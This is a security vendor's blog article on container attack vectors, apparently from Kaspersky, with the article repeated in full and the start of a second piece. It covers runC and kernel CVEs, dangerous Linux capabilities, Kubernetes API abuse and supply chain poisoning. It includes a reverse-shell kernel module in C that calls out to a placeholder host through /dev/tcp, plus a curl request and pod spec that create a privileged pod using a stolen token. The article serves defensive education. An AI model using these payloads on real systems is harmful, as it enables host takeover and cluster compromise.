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Containers on fire: from container escapes to supply chain attacks

Introduction

Modern infrastructures universally rely on containerization to deploy applications, scale services, and build cloud platforms. The use of Docker, Kubernetes, and similar technologies has become the corporate standard for efficient automation. However, as containers grow in popularity, so does the interest of malicious actors β€” a trend we actively track in our research into advanced cyberthreats. For instance, in one of its recent attacks, the APT group TeamPCP compromised Checkmarx KICS across multiple attack chains for different vectors. This included poisoning a Docker Hub repository to later steal Kubernetes secrets and other sensitive data. The tainted images distributed a stealer that was loaded during the KICS scanning process.

Today, attacks on container environments have evolved into full-fledged, multi-stage scenarios involving supply chain compromises, Kubernetes secrets theft, orchestration API abuse, and container escape attempts. This article examines the primary container attack vectors that retain top relevance today.

Principles of containerization

A container is an isolated code execution environment, designed to partition resources so applications can run correctly and independently. Unlike a virtual machine, a container uses the single underlying kernel of the host operating system.

To isolate the environment, a container uses a distinct process namespace and a virtual file system. Container resources are capped and shared with the host system. This container isolation is built on top of Linux kernel features such as namespaces, cgroups, capabilities, and seccomp.

Compromising a container can help attackers achieve their objectives on the host system itself. Below, we examine the current vectors relevant to container implementation architecture and infrastructure.

Current attack vectors

The primary and most critical attack vectors targeting container environments that are actively exploited by malicious actors include:

  • Exploiting vulnerabilities in the host system and container runtime components
  • Malicious activity inside a compromised container
  • Container escape followed by host compromise
  • Exploiting misconfigurations and the insecure use of containerization and orchestration APIs
  • Supply chain attacks, including container image poisoning and CI/CD pipeline compromise

Each of these vectors can be utilized either independently or as part of a complex, multi-stage attack chain. In practice, attackers rarely stop at compromising a single container; their primary objective is often to gain access to the Kubernetes cluster, secrets management systems, or other mission-critical environment components. This is why securing container infrastructure requires a comprehensive approach that spans configuration auditing, runtime protection, activity monitoring, and software supply chain security. Let’s take a closer look at each of these vectors.

Exploiting host system vulnerabilities

Because a container does not have its own isolated OS, vulnerabilities affecting the Linux kernel or runtime components remain just as critical when exploited from within a container.

Any vulnerability that allows for privilege escalation, arbitrary code execution, or isolation bypassing can potentially be leveraged by an attacker once the container is compromised. Successful exploitation of these flaws can lead to a container escape, compromise of the Kubernetes node or the entire cluster, lateral movement across the infrastructure, secrets theft, and malicious actions potentially culminating in a complete service disruption. It is worth noting that the mere presence of a vulnerability does not always guarantee a compromise, as exploitation sometimes requires specific configuration settings or privileges to work.

Below are examples of several vulnerabilities leveraged in attacks on container environments:

  • CVE-2019-5736 is one of the most prominent and illustrative vulnerabilities associated with containerization. It affected the runC runtime environment and allowed an attacker, who already had root access inside the container, to execute arbitrary code on the host system with root privileges. The root cause of the vulnerability was runC’s improper handling of the file descriptor for its own executable via the /proc/self/exe mechanism. When a container was started, the runC process temporarily executed within the container’s context while remaining a host system process. This allowed an attacker to gain access to the runC binary and overwrite its contents.
  • CVE-2022-0492 is a critical Linux kernel vulnerability that allows for container escape and arbitrary command execution on the host system. The flaw stemmed from improper privilege validation when interacting with the cgroups release_agent mechanism. This vulnerability posed a particular risk for container infrastructures because it allowed an attacker who already possessed code execution capabilities inside a container to break out of isolation and gain control of the host system.
  • CVE-2024-21626 is a critical vulnerability in runC that allowed an attacker to access the host file system from within a container, and in specific scenarios, even perform a complete container escape. The root cause of the issue was runC’s improper handling of file descriptors and the process’ current working directory when spinning up containers or executing commands via docker exec or similar mechanisms.

Malicious actions inside the container

Sometimes, an attacker does not need to exploit complex attack chains involving container escapes, Kubernetes cluster compromise, or lateral movement to achieve their goals. In many cases, the container itself already houses data and resources that are highly valuable to the attacker. For example, a container may contain:

  • User and service credentials
  • API keys
  • Access tokens
  • SSH keys
  • Environment variables containing secrets
  • Kubernetes ServiceAccount tokens
  • Configuration files
  • Application service data or databases

These types of data are especially prone to exposure due to configuration mistakes or specific operational processes. For instance, secrets might be passed via environment variables, baked into Docker images during the build phase, or mounted directly inside the container. In Kubernetes environments, automatically mounted ServiceAccount tokens are of particular interest to attackers, as they provide a direct pathway to interact with the Kubernetes API.

Even a single compromised container frequently provides an attacker with sufficient leverage for next steps: gaining access to external services, compromising cloud infrastructure, stealing user data, impersonating a trusted service, or establishing persistence within the environment. Beyond data theft, malicious actors can use a compromised container as a staging ground for further malicious activity. This is why securing container infrastructure is about much more than just preventing escapes. Even a fully isolated container, if it houses sensitive data or holds access to internal services, can become a major foothold for an infrastructure breach.

In the context of this vector, approaches and techniques applicable not only to container environments but also to traditional systems are frequently applied. Once an attacker gains access to a container, they usually find themselves in a full-featured Linux environment, allowing them to deploy standard post-exploitation, reconnaissance, and persistence methods.

We explored container configuration errors and other unsafe practices that attackers could exploit to carry out malicious activities in more detail in this article.

Container escape

Container escape is one of the most dangerous and prevalent attack vectors targeting container infrastructure. The term refers to the bypassing of container isolation, allowing an attacker to directly interact with the host system.

The opportunity to escape a container can arise from a multitude of sources: the exploitation of vulnerabilities, container misconfigurations, or the insecure use of containerization and orchestration APIs. Indeed, container escape is the logical conclusion of most attacks on container infrastructure, as the attacker’s ultimate goal is frequently to break out of the isolated environment and gain access to the host system or the broader Kubernetes cluster. As such, container escape ties together a significant portion of the attack vectors discussed in this article. In practice, misconfigurations remain one of the most common root causes of successful container escapes, as they occur far more frequently than the exploitation of complex vulnerabilities. With that in mind, we will take a closer look at container misconfigurations and their associated attack scenarios below.

To better understand the risks associated with container misconfigurations, let’s explore the concept of capabilities in Linux systems. This is a mechanism for granularly granting extended permissions to processes, allowing them to perform privileged actions without needing full root access.

Privileged containers

One of the most dangerous configurations is running a container with the --privileged flag. In this mode, the container is granted all Linux capabilities, direct access to host devices, and the ability to interact with kernel interfaces. A container configured this way virtually ceases to be an isolated environment and, in many cases, possesses capabilities comparable to root access on the host system.

Let’s look at a basic example of a container escape attack involving the --privileged flag. Using the capsh utility, you can see that such a container possesses virtually all Linux capabilities. Furthermore, if the PID namespace matches the host’s, the process with PID=1 corresponds to init, the first system process in Linux. In a different configuration, PID 1 would belong to the process that created the container. If we spawn a shell from the init process using the nsenter utility, the expected behavior is the creation of a process outside the container, which can easily be verified by using the hostname command.


Container privilege misconfigurations open up a broad attack surface. Let’s dive deeper into how specific capabilities can be used to execute a container escape.

CAP_SYS_ADMIN

CAP_SYS_ADMIN is considered one of the most dangerous Linux capabilities in the context of container security. Although Linux capabilities were originally intended to break down superuser privileges into discrete categories, over time, CAP_SYS_ADMIN became a catch-all for a massive number of sensitive kernel operations. As a result, a container granted this capability gains access to a wide array of system mechanisms that directly impact container isolation. It inherits the ability to mount file systems, interact with the cgroups mechanism responsible for resource allocation, modify kernel parameters within certain limits, work with loop devices, and utilize various namespace management features. In practice, this heavily blurs the line between the container and the host system.

This capability becomes especially dangerous when combined with other configuration errors. For instance, if the container is configured to use the hostPath parameter, an attacker can leverage a container compromise to mount the host system’s directories right into their own environment and access critical host files. Similarly, having access to /proc or /sys allows for direct interaction with internal Linux kernel mechanisms, which can drastically expand the blast radius of the breach.

Let’s look at a clear example of how having CAP_SYS_ADMIN can help an attacker escape a container. Illustrated below is the sequence of actions inside a container possessing CAP_SYS_ADMIN privileges and access to host directories. By mounting the host’s disk to a folder inside the container, the attacker can freely interact with all files on the host system. In this specific example, it shows the ability to overwrite the root user’s shell configuration by injecting an arbitrary malicious payload.

CAP_SYS_MODULE

CAP_SYS_MODULE provides direct access to the kernel module loading and unloading mechanism. This direct interaction with kernel space makes CAP_SYS_MODULE a high-risk capability, unlike many other capabilities that are restricted purely to user space.

From a Linux architectural standpoint, kernel modules consist of code executing with maximum privileges inside kernel space. These modules can extend system functionality, manage devices, handle the network stack, interface with file systems, and control other mission-critical components. This is why the ability to dynamically load these modules via CAP_SYS_MODULE equates to having the power to manipulate the behavior of the entire operating system.

In practice, modern containerized applications rarely require CAP_SYS_MODULE. The presence of this capability is typically tied to legacy architectures, monitoring systems, or specialized drivers that must interact directly with the kernel. This is why CAP_SYS_MODULE is almost universally banned in modern infrastructures. In most environments, it is considered an unacceptable risk because its compromise does not just lead to localized privilege escalation within the container, but to code execution directly in kernel space.

A container escape using this capability happens in several stages. The goal of the attack in this case is to load a malicious Linux kernel module. It is worth noting that the module must match the specific kernel version in use, requiring the attacker to perform additional reconnaissance to identify it. These attacks can be executed entirely within the container if it contains the necessary build tools to compile the module and has access to kernel dependency directories. However, because these utilities are typically stripped from container images, attackers usually compile the malicious payload with the required dependencies on an external host. They then either transfer it over the network or drop it into a binary file on the target by using a command like echo.

Let’s look at a container escape using a kernel module with the following payload example:

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("Test");
MODULE_AUTHOR("Test");
MODULE_DESCRIPTION("reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/<IP>/<Port> 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Upon loading, this module triggers the reverse shell. Once the payload is built and successfully delivered to the container, all the attacker needs to do is start a listener on the IP address and port specified in the payload, and then load the module into kernel space.

CAP_SYS_PTRACE

The CAP_SYS_PTRACE capability grants a process elevated permissions to interact with other system processes via the ptrace system call. While it is designed for debugging and code tracing, its misconfiguration in containerized environments can severely weaken isolation and, under certain conditions, enable a container escape leading to host system compromise.

The primary risk of CAP_SYS_PTRACE is that it allows a process to read and modify the memory of other processes, control their execution, inject code, and extract sensitive data directly from memory. Furthermore, CAP_SYS_PTRACE enables process injection techniques.

If a container is compromised, an attacker can use ptrace to attach to host processes. Crucially, this is only possible if the host’s PID namespace is shared with the container β€” this is configured via hostPID: true. This configuration allows the attacker to target a process running on the host, inject code, and trigger a reverse shell β€” though in most cases, this requires additional malicious code. The image below demonstrates this kind of an attack, implemented using a publicly available PoC.

CAP_NET_ADMIN

CAP_NET_ADMIN provides extensive privileges to manage the network stack of a Linux system. If a container is compromised, the presence of this capability significantly weakens network isolation and creates additional opportunities for further exploitation.

A container equipped with CAP_NET_ADMIN can modify network interface configurations, manipulate routing tables, interact with traffic filtering mechanisms, and alter the behavior of the network stack. Although most of these operations are formally restricted to the container’s own network namespace, in practice, this capability is frequently combined with other misconfigurations β€” such as the hostNetwork: true parameter β€” which grants direct access to the host’s network resources.

Once inside the container, an attacker can leverage this capability to modify its network behavior and launch further attacks across the infrastructure. One of the most common scenarios involves manipulating iptables rules to redirect traffic. This enables man-in-the-middle (MitM) attacks, allowing the attacker to intercept internal traffic or mask their own malicious activities.

It is important to emphasize that there are many other Linux capabilities that can lead to a container escape when combined with specific misconfigurations; we have highlighted only a few of the most severe and frequently encountered.

Exploitation of orchestration APIs

One of the most dangerous and common attack vectors in containerized infrastructure is the exploitation of misconfigured container management and orchestration APIs. Unlike attacks that require complex kernel vulnerability exploits or container escape, this scenario is often remarkably straightforward: the attacker simply needs to gain access to the control interfaces of the container environment.

The fundamental risk stems from the fact that container platform APIs possess inherent administrative privileges over the entire infrastructure. The Docker API, Kubernetes API, and kubelet API are designed to spin up containers, modify configurations, access host file systems, and execute commands inside running containers. When misconfigured, these interfaces immediately become a point of failure for the entire environment.

One of the most notorious examples of this vector is an exposed Docker API. If the Docker daemon is accessible over TCP without TLS or authentication, an attacker can remotely interact with the host system with permissions equivalent to a local administrator. They can deploy new containers custom-configured for attacks, mount the host’s entire root file system, and execute arbitrary commands within any container via the API. In practice, compromising an unauthenticated Docker API typically leads to a complete host takeover after just a few API requests.

Similar risks exist within Kubernetes environments. The Kubernetes API server acts as the central control point for the entire cluster. If an attacker manages to compromise a ServiceAccount token, exploit weak RBAC policies, or discover an inadvertently exposed API server, they can execute a broad spectrum of destructive operations.

For the sake of this attack example, let us assume that an attacker has compromised a Kubernetes API token for a privileged account. First, they enumerate the token’s permissions, typically by running a script to query each individual capability. This gives them a full list of Kubernetes privileges.

The script’s output reveals that the compromised API token grants exceptionally high privileges within the cluster. The logical next step in the attack chain is to deploy a malicious, privileged container to execute any of the host escape techniques described above. In our example, the attacker used a curl POST request to the API to create the container:

curl -k -X POST   https://<kubernetes-url>/api/v1/namespaces/default/pods   -H "Authorization: Bearer <Token>"   -H "Content-Type: application/json"   -d @pod.json

The configuration passed in the pod.json file is explicitly designed to enable an escape:

{
  "apiVersion": "v1",
  "kind": "Pod",
  "metadata": {
    "name": "privileged-pod-from-api"
  },
  "spec": {
    "containers": [
      {
        "name": "debug-container",
        "image": "ubuntu:latest",
        "command": ["sleep", "3600"],
        "securityContext": {
          "privileged": true
        }
      }
    ]
  }
}

Once the privileged container is deployed, the attacker can execute an escape to compromise the underlying host system.

However, this is not the only high-risk scenario involving API requests. For instance, when a Docker socket is mounted inside a container, an attacker gains the ability to interact with the Docker daemon directly. Once that container is compromised, the attacker effectively inherits the privileges of the daemon, which means they gain control over all containers on the host.

To execute the attack, adversaries look for containers with mounted sockets. The further progression of the attack replicates what has been described above: an API request is made to create a privileged container, after which any escape method is similarly exploited using the API.

Supply chain attacks

Unlike classic attacks aimed at exploiting vulnerabilities in already deployed containers, this approach focuses on compromising components before they are even launched in the runtime environment. Modern container infrastructure is tightly integrated with a large number of external components. As a result, container security directly depends not only on the application itself, but on the entire image build and delivery chain. Compromising any of these stages potentially allows an attacker to inject malicious code into multiple containers and services simultaneously.

One of the most common scenarios involves attacks that contaminate container images. In many organizations, developers use public images from Docker Hub or other available sources without a full verification of their origin or contents. Threat actors frequently publish contaminated images that masquerade as popular services and utilities. Once a container like that is launched within the infrastructure, the attacker gains the ability to execute their own code right inside the organization’s trusted environment.

Furthermore, CI/CD container deployment systems are among the most frequent targets of these attacks. Application build and delivery platforms typically possess elevated privileges. For instance, after gaining access to a CI/CD system, an attacker can covertly modify the Docker image build stages. Instead of altering the application’s source code, the attacker can inject the malicious logic directly into the pipeline itself. An additional command during the build process can download a third-party binary, add a hidden script, modify the container configuration, or implant a remote management mechanism. Externally, the container will look completely legitimate because its core functionality remains unchanged.

Takeaways

Overall, modern attacks on container environments demonstrate that the primary threat arises not just from within the container itself, but from the implementation of the container infrastructure as a whole. Containers are frequently exploited as an initial foothold to establish persistence within a system; following an initial compromise, attackers aim to either escalate to the host OS level or gain control over infrastructure management via containerization and orchestration APIs. To achieve this, they exploit weak configurations, excessive capabilities, and isolation flaws.

Furthermore, there is a visible trend of attacks shifting toward CI/CD pipelines, where compromising a single component can lead to a full infrastructure takeover. Therefore, under current realities, securing containerized environments requires an approach that encompasses host protection, strict access control within the orchestrator, minimization of container capabilities, and comprehensive validation of the entire supply chain. Our solution Kaspersky Container Security has been designed with the specific characteristics of container environments in mind and provides protection at various levels from container images to the host system helping to implement the principles of secure software development.

  •  

Containers on fire: from container escapes to supply chain attacks

Introduction

Modern infrastructures universally rely on containerization to deploy applications, scale services, and build cloud platforms. The use of Docker, Kubernetes, and similar technologies has become the corporate standard for efficient automation. However, as containers grow in popularity, so does the interest of malicious actors β€” a trend we actively track in our research into advanced cyberthreats. For instance, in one of its recent attacks, the APT group TeamPCP compromised Checkmarx KICS across multiple attack chains for different vectors. This included poisoning a Docker Hub repository to later steal Kubernetes secrets and other sensitive data. The tainted images distributed a stealer that was loaded during the KICS scanning process.

Today, attacks on container environments have evolved into full-fledged, multi-stage scenarios involving supply chain compromises, Kubernetes secrets theft, orchestration API abuse, and container escape attempts. This article examines the primary container attack vectors that retain top relevance today.

Principles of containerization

A container is an isolated code execution environment, designed to partition resources so applications can run correctly and independently. Unlike a virtual machine, a container uses the single underlying kernel of the host operating system.

To isolate the environment, a container uses a distinct process namespace and a virtual file system. Container resources are capped and shared with the host system. This container isolation is built on top of Linux kernel features such as namespaces, cgroups, capabilities, and seccomp.

Compromising a container can help attackers achieve their objectives on the host system itself. Below, we examine the current vectors relevant to container implementation architecture and infrastructure.

Current attack vectors

The primary and most critical attack vectors targeting container environments that are actively exploited by malicious actors include:

  • Exploiting vulnerabilities in the host system and container runtime components
  • Malicious activity inside a compromised container
  • Container escape followed by host compromise
  • Exploiting misconfigurations and the insecure use of containerization and orchestration APIs
  • Supply chain attacks, including container image poisoning and CI/CD pipeline compromise

Each of these vectors can be utilized either independently or as part of a complex, multi-stage attack chain. In practice, attackers rarely stop at compromising a single container; their primary objective is often to gain access to the Kubernetes cluster, secrets management systems, or other mission-critical environment components. This is why securing container infrastructure requires a comprehensive approach that spans configuration auditing, runtime protection, activity monitoring, and software supply chain security. Let’s take a closer look at each of these vectors.

Exploiting host system vulnerabilities

Because a container does not have its own isolated OS, vulnerabilities affecting the Linux kernel or runtime components remain just as critical when exploited from within a container.

Any vulnerability that allows for privilege escalation, arbitrary code execution, or isolation bypassing can potentially be leveraged by an attacker once the container is compromised. Successful exploitation of these flaws can lead to a container escape, compromise of the Kubernetes node or the entire cluster, lateral movement across the infrastructure, secrets theft, and malicious actions potentially culminating in a complete service disruption. It is worth noting that the mere presence of a vulnerability does not always guarantee a compromise, as exploitation sometimes requires specific configuration settings or privileges to work.

Below are examples of several vulnerabilities leveraged in attacks on container environments:

  • CVE-2019-5736 is one of the most prominent and illustrative vulnerabilities associated with containerization. It affected the runC runtime environment and allowed an attacker, who already had root access inside the container, to execute arbitrary code on the host system with root privileges. The root cause of the vulnerability was runC’s improper handling of the file descriptor for its own executable via the /proc/self/exe mechanism. When a container was started, the runC process temporarily executed within the container’s context while remaining a host system process. This allowed an attacker to gain access to the runC binary and overwrite its contents.
  • CVE-2022-0492 is a critical Linux kernel vulnerability that allows for container escape and arbitrary command execution on the host system. The flaw stemmed from improper privilege validation when interacting with the cgroups release_agent mechanism. This vulnerability posed a particular risk for container infrastructures because it allowed an attacker who already possessed code execution capabilities inside a container to break out of isolation and gain control of the host system.
  • CVE-2024-21626 is a critical vulnerability in runC that allowed an attacker to access the host file system from within a container, and in specific scenarios, even perform a complete container escape. The root cause of the issue was runC’s improper handling of file descriptors and the process’ current working directory when spinning up containers or executing commands via docker exec or similar mechanisms.

Malicious actions inside the container

Sometimes, an attacker does not need to exploit complex attack chains involving container escapes, Kubernetes cluster compromise, or lateral movement to achieve their goals. In many cases, the container itself already houses data and resources that are highly valuable to the attacker. For example, a container may contain:

  • User and service credentials
  • API keys
  • Access tokens
  • SSH keys
  • Environment variables containing secrets
  • Kubernetes ServiceAccount tokens
  • Configuration files
  • Application service data or databases

These types of data are especially prone to exposure due to configuration mistakes or specific operational processes. For instance, secrets might be passed via environment variables, baked into Docker images during the build phase, or mounted directly inside the container. In Kubernetes environments, automatically mounted ServiceAccount tokens are of particular interest to attackers, as they provide a direct pathway to interact with the Kubernetes API.

Even a single compromised container frequently provides an attacker with sufficient leverage for next steps: gaining access to external services, compromising cloud infrastructure, stealing user data, impersonating a trusted service, or establishing persistence within the environment. Beyond data theft, malicious actors can use a compromised container as a staging ground for further malicious activity. This is why securing container infrastructure is about much more than just preventing escapes. Even a fully isolated container, if it houses sensitive data or holds access to internal services, can become a major foothold for an infrastructure breach.

In the context of this vector, approaches and techniques applicable not only to container environments but also to traditional systems are frequently applied. Once an attacker gains access to a container, they usually find themselves in a full-featured Linux environment, allowing them to deploy standard post-exploitation, reconnaissance, and persistence methods.

We explored container configuration errors and other unsafe practices that attackers could exploit to carry out malicious activities in more detail in this article.

Container escape

Container escape is one of the most dangerous and prevalent attack vectors targeting container infrastructure. The term refers to the bypassing of container isolation, allowing an attacker to directly interact with the host system.

The opportunity to escape a container can arise from a multitude of sources: the exploitation of vulnerabilities, container misconfigurations, or the insecure use of containerization and orchestration APIs. Indeed, container escape is the logical conclusion of most attacks on container infrastructure, as the attacker’s ultimate goal is frequently to break out of the isolated environment and gain access to the host system or the broader Kubernetes cluster. As such, container escape ties together a significant portion of the attack vectors discussed in this article. In practice, misconfigurations remain one of the most common root causes of successful container escapes, as they occur far more frequently than the exploitation of complex vulnerabilities. With that in mind, we will take a closer look at container misconfigurations and their associated attack scenarios below.

To better understand the risks associated with container misconfigurations, let’s explore the concept of capabilities in Linux systems. This is a mechanism for granularly granting extended permissions to processes, allowing them to perform privileged actions without needing full root access.

Privileged containers

One of the most dangerous configurations is running a container with the --privileged flag. In this mode, the container is granted all Linux capabilities, direct access to host devices, and the ability to interact with kernel interfaces. A container configured this way virtually ceases to be an isolated environment and, in many cases, possesses capabilities comparable to root access on the host system.

Let’s look at a basic example of a container escape attack involving the --privileged flag. Using the capsh utility, you can see that such a container possesses virtually all Linux capabilities. Furthermore, if the PID namespace matches the host’s, the process with PID=1 corresponds to init, the first system process in Linux. In a different configuration, PID 1 would belong to the process that created the container. If we spawn a shell from the init process using the nsenter utility, the expected behavior is the creation of a process outside the container, which can easily be verified by using the hostname command.


Container privilege misconfigurations open up a broad attack surface. Let’s dive deeper into how specific capabilities can be used to execute a container escape.

CAP_SYS_ADMIN

CAP_SYS_ADMIN is considered one of the most dangerous Linux capabilities in the context of container security. Although Linux capabilities were originally intended to break down superuser privileges into discrete categories, over time, CAP_SYS_ADMIN became a catch-all for a massive number of sensitive kernel operations. As a result, a container granted this capability gains access to a wide array of system mechanisms that directly impact container isolation. It inherits the ability to mount file systems, interact with the cgroups mechanism responsible for resource allocation, modify kernel parameters within certain limits, work with loop devices, and utilize various namespace management features. In practice, this heavily blurs the line between the container and the host system.

This capability becomes especially dangerous when combined with other configuration errors. For instance, if the container is configured to use the hostPath parameter, an attacker can leverage a container compromise to mount the host system’s directories right into their own environment and access critical host files. Similarly, having access to /proc or /sys allows for direct interaction with internal Linux kernel mechanisms, which can drastically expand the blast radius of the breach.

Let’s look at a clear example of how having CAP_SYS_ADMIN can help an attacker escape a container. Illustrated below is the sequence of actions inside a container possessing CAP_SYS_ADMIN privileges and access to host directories. By mounting the host’s disk to a folder inside the container, the attacker can freely interact with all files on the host system. In this specific example, it shows the ability to overwrite the root user’s shell configuration by injecting an arbitrary malicious payload.

CAP_SYS_MODULE

CAP_SYS_MODULE provides direct access to the kernel module loading and unloading mechanism. This direct interaction with kernel space makes CAP_SYS_MODULE a high-risk capability, unlike many other capabilities that are restricted purely to user space.

From a Linux architectural standpoint, kernel modules consist of code executing with maximum privileges inside kernel space. These modules can extend system functionality, manage devices, handle the network stack, interface with file systems, and control other mission-critical components. This is why the ability to dynamically load these modules via CAP_SYS_MODULE equates to having the power to manipulate the behavior of the entire operating system.

In practice, modern containerized applications rarely require CAP_SYS_MODULE. The presence of this capability is typically tied to legacy architectures, monitoring systems, or specialized drivers that must interact directly with the kernel. This is why CAP_SYS_MODULE is almost universally banned in modern infrastructures. In most environments, it is considered an unacceptable risk because its compromise does not just lead to localized privilege escalation within the container, but to code execution directly in kernel space.

A container escape using this capability happens in several stages. The goal of the attack in this case is to load a malicious Linux kernel module. It is worth noting that the module must match the specific kernel version in use, requiring the attacker to perform additional reconnaissance to identify it. These attacks can be executed entirely within the container if it contains the necessary build tools to compile the module and has access to kernel dependency directories. However, because these utilities are typically stripped from container images, attackers usually compile the malicious payload with the required dependencies on an external host. They then either transfer it over the network or drop it into a binary file on the target by using a command like echo.

Let’s look at a container escape using a kernel module with the following payload example:

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("Test");
MODULE_AUTHOR("Test");
MODULE_DESCRIPTION("reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/<IP>/<Port> 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Upon loading, this module triggers the reverse shell. Once the payload is built and successfully delivered to the container, all the attacker needs to do is start a listener on the IP address and port specified in the payload, and then load the module into kernel space.

CAP_SYS_PTRACE

The CAP_SYS_PTRACE capability grants a process elevated permissions to interact with other system processes via the ptrace system call. While it is designed for debugging and code tracing, its misconfiguration in containerized environments can severely weaken isolation and, under certain conditions, enable a container escape leading to host system compromise.

The primary risk of CAP_SYS_PTRACE is that it allows a process to read and modify the memory of other processes, control their execution, inject code, and extract sensitive data directly from memory. Furthermore, CAP_SYS_PTRACE enables process injection techniques.

If a container is compromised, an attacker can use ptrace to attach to host processes. Crucially, this is only possible if the host’s PID namespace is shared with the container β€” this is configured via hostPID: true. This configuration allows the attacker to target a process running on the host, inject code, and trigger a reverse shell β€” though in most cases, this requires additional malicious code. The image below demonstrates this kind of an attack, implemented using a publicly available PoC.

CAP_NET_ADMIN

CAP_NET_ADMIN provides extensive privileges to manage the network stack of a Linux system. If a container is compromised, the presence of this capability significantly weakens network isolation and creates additional opportunities for further exploitation.

A container equipped with CAP_NET_ADMIN can modify network interface configurations, manipulate routing tables, interact with traffic filtering mechanisms, and alter the behavior of the network stack. Although most of these operations are formally restricted to the container’s own network namespace, in practice, this capability is frequently combined with other misconfigurations β€” such as the hostNetwork: true parameter β€” which grants direct access to the host’s network resources.

Once inside the container, an attacker can leverage this capability to modify its network behavior and launch further attacks across the infrastructure. One of the most common scenarios involves manipulating iptables rules to redirect traffic. This enables man-in-the-middle (MitM) attacks, allowing the attacker to intercept internal traffic or mask their own malicious activities.

It is important to emphasize that there are many other Linux capabilities that can lead to a container escape when combined with specific misconfigurations; we have highlighted only a few of the most severe and frequently encountered.

Exploitation of orchestration APIs

One of the most dangerous and common attack vectors in containerized infrastructure is the exploitation of misconfigured container management and orchestration APIs. Unlike attacks that require complex kernel vulnerability exploits or container escape, this scenario is often remarkably straightforward: the attacker simply needs to gain access to the control interfaces of the container environment.

The fundamental risk stems from the fact that container platform APIs possess inherent administrative privileges over the entire infrastructure. The Docker API, Kubernetes API, and kubelet API are designed to spin up containers, modify configurations, access host file systems, and execute commands inside running containers. When misconfigured, these interfaces immediately become a point of failure for the entire environment.

One of the most notorious examples of this vector is an exposed Docker API. If the Docker daemon is accessible over TCP without TLS or authentication, an attacker can remotely interact with the host system with permissions equivalent to a local administrator. They can deploy new containers custom-configured for attacks, mount the host’s entire root file system, and execute arbitrary commands within any container via the API. In practice, compromising an unauthenticated Docker API typically leads to a complete host takeover after just a few API requests.

Similar risks exist within Kubernetes environments. The Kubernetes API server acts as the central control point for the entire cluster. If an attacker manages to compromise a ServiceAccount token, exploit weak RBAC policies, or discover an inadvertently exposed API server, they can execute a broad spectrum of destructive operations.

For the sake of this attack example, let us assume that an attacker has compromised a Kubernetes API token for a privileged account. First, they enumerate the token’s permissions, typically by running a script to query each individual capability. This gives them a full list of Kubernetes privileges.

The script’s output reveals that the compromised API token grants exceptionally high privileges within the cluster. The logical next step in the attack chain is to deploy a malicious, privileged container to execute any of the host escape techniques described above. In our example, the attacker used a curl POST request to the API to create the container:

curl -k -X POST   https://<kubernetes-url>/api/v1/namespaces/default/pods   -H "Authorization: Bearer <Token>"   -H "Content-Type: application/json"   -d @pod.json

The configuration passed in the pod.json file is explicitly designed to enable an escape:

{
  "apiVersion": "v1",
  "kind": "Pod",
  "metadata": {
    "name": "privileged-pod-from-api"
  },
  "spec": {
    "containers": [
      {
        "name": "debug-container",
        "image": "ubuntu:latest",
        "command": ["sleep", "3600"],
        "securityContext": {
          "privileged": true
        }
      }
    ]
  }
}

Once the privileged container is deployed, the attacker can execute an escape to compromise the underlying host system.

However, this is not the only high-risk scenario involving API requests. For instance, when a Docker socket is mounted inside a container, an attacker gains the ability to interact with the Docker daemon directly. Once that container is compromised, the attacker effectively inherits the privileges of the daemon, which means they gain control over all containers on the host.

To execute the attack, adversaries look for containers with mounted sockets. The further progression of the attack replicates what has been described above: an API request is made to create a privileged container, after which any escape method is similarly exploited using the API.

Supply chain attacks

Unlike classic attacks aimed at exploiting vulnerabilities in already deployed containers, this approach focuses on compromising components before they are even launched in the runtime environment. Modern container infrastructure is tightly integrated with a large number of external components. As a result, container security directly depends not only on the application itself, but on the entire image build and delivery chain. Compromising any of these stages potentially allows an attacker to inject malicious code into multiple containers and services simultaneously.

One of the most common scenarios involves attacks that contaminate container images. In many organizations, developers use public images from Docker Hub or other available sources without a full verification of their origin or contents. Threat actors frequently publish contaminated images that masquerade as popular services and utilities. Once a container like that is launched within the infrastructure, the attacker gains the ability to execute their own code right inside the organization’s trusted environment.

Furthermore, CI/CD container deployment systems are among the most frequent targets of these attacks. Application build and delivery platforms typically possess elevated privileges. For instance, after gaining access to a CI/CD system, an attacker can covertly modify the Docker image build stages. Instead of altering the application’s source code, the attacker can inject the malicious logic directly into the pipeline itself. An additional command during the build process can download a third-party binary, add a hidden script, modify the container configuration, or implant a remote management mechanism. Externally, the container will look completely legitimate because its core functionality remains unchanged.

Takeaways

Overall, modern attacks on container environments demonstrate that the primary threat arises not just from within the container itself, but from the implementation of the container infrastructure as a whole. Containers are frequently exploited as an initial foothold to establish persistence within a system; following an initial compromise, attackers aim to either escalate to the host OS level or gain control over infrastructure management via containerization and orchestration APIs. To achieve this, they exploit weak configurations, excessive capabilities, and isolation flaws.

Furthermore, there is a visible trend of attacks shifting toward CI/CD pipelines, where compromising a single component can lead to a full infrastructure takeover. Therefore, under current realities, securing containerized environments requires an approach that encompasses host protection, strict access control within the orchestrator, minimization of container capabilities, and comprehensive validation of the entire supply chain. Our solution Kaspersky Container Security has been designed with the specific characteristics of container environments in mind and provides protection at various levels from container images to the host system helping to implement the principles of secure software development.

  •  

What’s in the container? Analyzing vulnerabilities, risks and protection with Kaspersky Container Security and the KIRA AI assistant

Introduction

Containerization using Docker has become firmly established in modern development standards, significantly increasing the speed and convenience of deploying various services. Developers often use ready-made Docker images, making only minimal changes. The largest repository of container images is the Docker Hub service.

